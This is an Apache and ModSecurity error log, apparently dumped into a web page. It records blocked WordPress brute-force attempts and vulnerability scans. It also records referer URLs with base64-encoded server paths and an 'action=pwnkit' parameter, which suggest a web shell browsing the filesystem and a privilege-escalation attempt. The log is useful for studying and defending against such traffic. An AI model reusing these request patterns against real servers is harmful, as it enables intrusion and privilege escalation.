https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9pbnB1dC9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:38.960357 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.24:61694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:38.960808 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.24:61694] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:39.221367 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.34:41024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:39.221806 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.34:41024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:39.273311 2026] [security2:error] [pid 531797:tid 532037] [client 5.101.157.130:36921] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/xmlrpc.php"] [unique_id "ai3xB8TA7b1mZrmcA-8UHgAAAjw"] [Sat Jun 13 18:08:39.273449 2026] [security2:error] [pid 531797:tid 532037] [client 5.101.157.130:36921] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/xmlrpc.php"] [unique_id "ai3xB8TA7b1mZrmcA-8UHgAAAjw"] [Sat Jun 13 18:08:39.361498 2026] [security2:error] [pid 531155:tid 531232] [remote 202.172.25.51:39352] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.infraas-digital.nucreativesolutions.com"] [uri "/wp-login.php"] [unique_id "ai3xBymiP80klyS0Nnrr0AABckw"] [Sat Jun 13 18:08:39.551867 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:39.552329 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:39.625422 2026] [security2:error] [pid 531155:tid 531347] [client 5.101.157.130:36923] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/xmlrpc.php"] [unique_id "ai3xBymiP80klyS0Nnrr2QAAAUg"] [Sat Jun 13 18:08:39.625522 2026] [security2:error] [pid 531155:tid 531347] [client 5.101.157.130:36923] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/xmlrpc.php"] [unique_id "ai3xBymiP80klyS0Nnrr2QAAAUg"] [Sat Jun 13 18:08:39.710113 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.47:51028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:39.710987 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.47:51028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:39.758778 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.76:56511] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:39.759173 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.76:56511] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:39.765731 2026] [security2:error] [pid 531797:tid 531871] [remote 17.241.219.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xB8TA7b1mZrmcA-8UMgACOAc"] [Sat Jun 13 18:08:39.791703 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:08:39.792135 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:08:39.842204 2026] [security2:error] [pid 531155:tid 531204] [remote 17.246.15.115:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 115.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xBymiP80klyS0Nnrr5gABezA"] [Sat Jun 13 18:08:40.050825 2026] [security2:error] [pid 531155:tid 531326] [client 191.233.234.186:44227] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/wp-form.php"] [unique_id "ai3xCCmiP80klyS0Nnrr8QAAATM"] [Sat Jun 13 18:08:40.083195 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:40.083712 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:40.199289 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTAwMTI2Mi9mZA== [Sat Jun 13 18:08:40.199737 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTAwMTI2Mi9mZA== [Sat Jun 13 18:08:40.246720 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.112:50754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:40.247016 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.112:50754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:40.262499 2026] [access_compat:error] [pid 531797:tid 531909] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvMTAwMTI2Mi9mZA== [Sat Jun 13 18:08:40.262949 2026] [access_compat:error] [pid 531797:tid 531909] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvMTAwMTI2Mi9mZA== [Sat Jun 13 18:08:40.263143 2026] [access_compat:error] [pid 531797:tid 531985] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:40.263433 2026] [access_compat:error] [pid 531797:tid 531985] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:40.471827 2026] [security2:error] [pid 531797:tid 532094] [client 172.171.3.232:40237] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/alr.php"] [unique_id "ai3xCMTA7b1mZrmcA-8UTwAAAnM"] [Sat Jun 13 18:08:40.611237 2026] [security2:error] [pid 531155:tid 531294] [client 191.234.188.123:36033] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/wp-Blogs.php"] [unique_id "ai3xCCmiP80klyS0NnrsBwAAARM"] [Sat Jun 13 18:08:40.619659 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:08:40.620095 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:08:40.690783 2026] [security2:error] [pid 531155:tid 531313] [client 20.9.67.71:64733] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/x.php"] [unique_id "ai3xCCmiP80klyS0NnrsCwAAASY"] [Sat Jun 13 18:08:40.692579 2026] [security2:error] [pid 531797:tid 532078] [client 5.101.157.130:36933] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/blog/xmlrpc.php"] [unique_id "ai3xCMTA7b1mZrmcA-8UVgAAAmQ"] [Sat Jun 13 18:08:40.692735 2026] [security2:error] [pid 531797:tid 532078] [client 5.101.157.130:36933] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/blog/xmlrpc.php"] [unique_id "ai3xCMTA7b1mZrmcA-8UVgAAAmQ"] [Sat Jun 13 18:08:40.715176 2026] [security2:error] [pid 531797:tid 532119] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/wordwrap_error.phpt"] [unique_id "ai3xCMTA7b1mZrmcA-8UVwAAAos"] [Sat Jun 13 18:08:40.831814 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.63:24780] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:40.832113 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.63:24780] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:40.933506 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:08:40.933883 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:08:40.943290 2026] [core:error] [pid 531797:tid 532031] [client 82.102.18.118:47700] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:08:40.943321 2026] [core:error] [pid 531797:tid 532031] [client 82.102.18.118:47700] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:08:41.037125 2026] [security2:error] [pid 531797:tid 532087] [client 5.101.157.130:36937] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/wordpress/xmlrpc.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UYgAAAm0"] [Sat Jun 13 18:08:41.037226 2026] [security2:error] [pid 531797:tid 532087] [client 5.101.157.130:36937] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/wordpress/xmlrpc.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UYgAAAm0"] [Sat Jun 13 18:08:41.123755 2026] [security2:error] [pid 531155:tid 531160] [remote 31.24.155.180:55060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.155.24.31.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yoozu.fr"] [uri "/wp-login.php"] [unique_id "ai3xCSmiP80klyS0NnrsGwABNwQ"] [Sat Jun 13 18:08:41.124612 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:08:41.125047 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:08:41.174000 2026] [access_compat:error] [pid 531797:tid 531935] [remote 57.141.14.48:48223] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:41.174441 2026] [access_compat:error] [pid 531797:tid 531935] [remote 57.141.14.48:48223] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:41.177241 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.98:49026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:41.177707 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.98:49026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:41.192812 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.67:60489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:41.193240 2026] [access_compat:error] [pid 531155:tid 531170] [remote 57.141.14.67:60489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:41.200312 2026] [access_compat:error] [pid 531797:tid 531992] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0L3NhbWJhL3BkYg== [Sat Jun 13 18:08:41.200775 2026] [access_compat:error] [pid 531797:tid 531992] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0L3NhbWJhL3BkYg== [Sat Jun 13 18:08:41.264372 2026] [core:error] [pid 531797:tid 532007] [client 82.102.18.118:53858] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:08:41.264403 2026] [core:error] [pid 531797:tid 532007] [client 82.102.18.118:53858] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:08:41.318510 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L2xpYjY0L3NhbWJhL3BkYg== [Sat Jun 13 18:08:41.318802 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L2xpYjY0L3NhbWJhL3BkYg== [Sat Jun 13 18:08:41.384890 2026] [security2:error] [pid 531797:tid 532108] [client 5.101.157.130:36949] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.157.101.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magia.vegas"] [uri "/site/xmlrpc.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UbwAAAoE"] [Sat Jun 13 18:08:41.385010 2026] [security2:error] [pid 531797:tid 532108] [client 5.101.157.130:36949] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "magia.vegas"] [uri "/site/xmlrpc.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UbwAAAoE"] [Sat Jun 13 18:08:41.585981 2026] [security2:error] [pid 531797:tid 532107] [client 82.102.18.118:53866] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.18.102.82.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "novapathfwf.com"] [uri "/xmlrpc.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UfAAAAoA"] [Sat Jun 13 18:08:41.586098 2026] [security2:error] [pid 531797:tid 532107] [client 82.102.18.118:53866] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "novapathfwf.com"] [uri "/xmlrpc.php"] [unique_id "ai3xCcTA7b1mZrmcA-8UfAAAAoA"] [Sat Jun 13 18:08:41.686001 2026] [access_compat:error] [pid 